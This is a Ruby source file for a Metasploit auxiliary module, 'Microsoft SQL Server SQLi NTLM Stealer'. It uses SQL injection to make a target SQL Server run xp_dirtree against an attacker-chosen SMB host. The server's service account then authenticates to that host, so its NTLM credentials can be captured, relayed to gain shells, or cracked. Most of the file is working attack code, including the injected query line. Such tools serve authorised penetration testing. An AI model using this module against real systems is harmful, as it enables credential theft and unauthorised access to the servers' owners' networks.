Path: blob/master/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL_SQLI78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Microsoft SQL Server SQLi NTLM Stealer',13'Description' => %q{14This module can be used to help capture or relay the LM/NTLM credentials of the15account running the remote SQL Server service. The module will use the SQL16injection from GET_PATH to connect to the target SQL Server instance and execute17the native "xp_dirtree" or stored procedure. The stored procedures will then18force the service account to authenticate to the system defined in the SMBProxy19option. In order for the attack to be successful, the SMB capture or relay module20must be running on the system defined as the SMBProxy. The database account used to21connect to the database should only require the "PUBLIC" role to execute.22Successful execution of this attack usually results in local administrative access23to the Windows system. Specifically, this works great for relaying credentials24between two SQL Servers using a shared service account to get shells. However, if25the relay fails, then the LM hash can be reversed using the Halflm rainbow tables26and john the ripper.27},28'Author' => [29'nullbind <scott.sutherland[at]netspi.com>',30'Antti <antti.rantasaari[at]netspi.com>'31],32'License' => MSF_LICENSE,33'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]],34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [IOC_IN_LOGS],37'Reliability' => []38}39)40)4142register_options(43[44OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),45]46)47end4849def run50# Reminder51print_status('DONT FORGET to run a SMB capture or relay module!')5253# Generate random file name54rand_filename = Rex::Text.rand_text_alpha(8, '')5556# Setup query - double escaping backslashes57sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"58print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")5960# Execute query to force authentication from backend database to smbproxy61mssql_query(sql)62end63end646566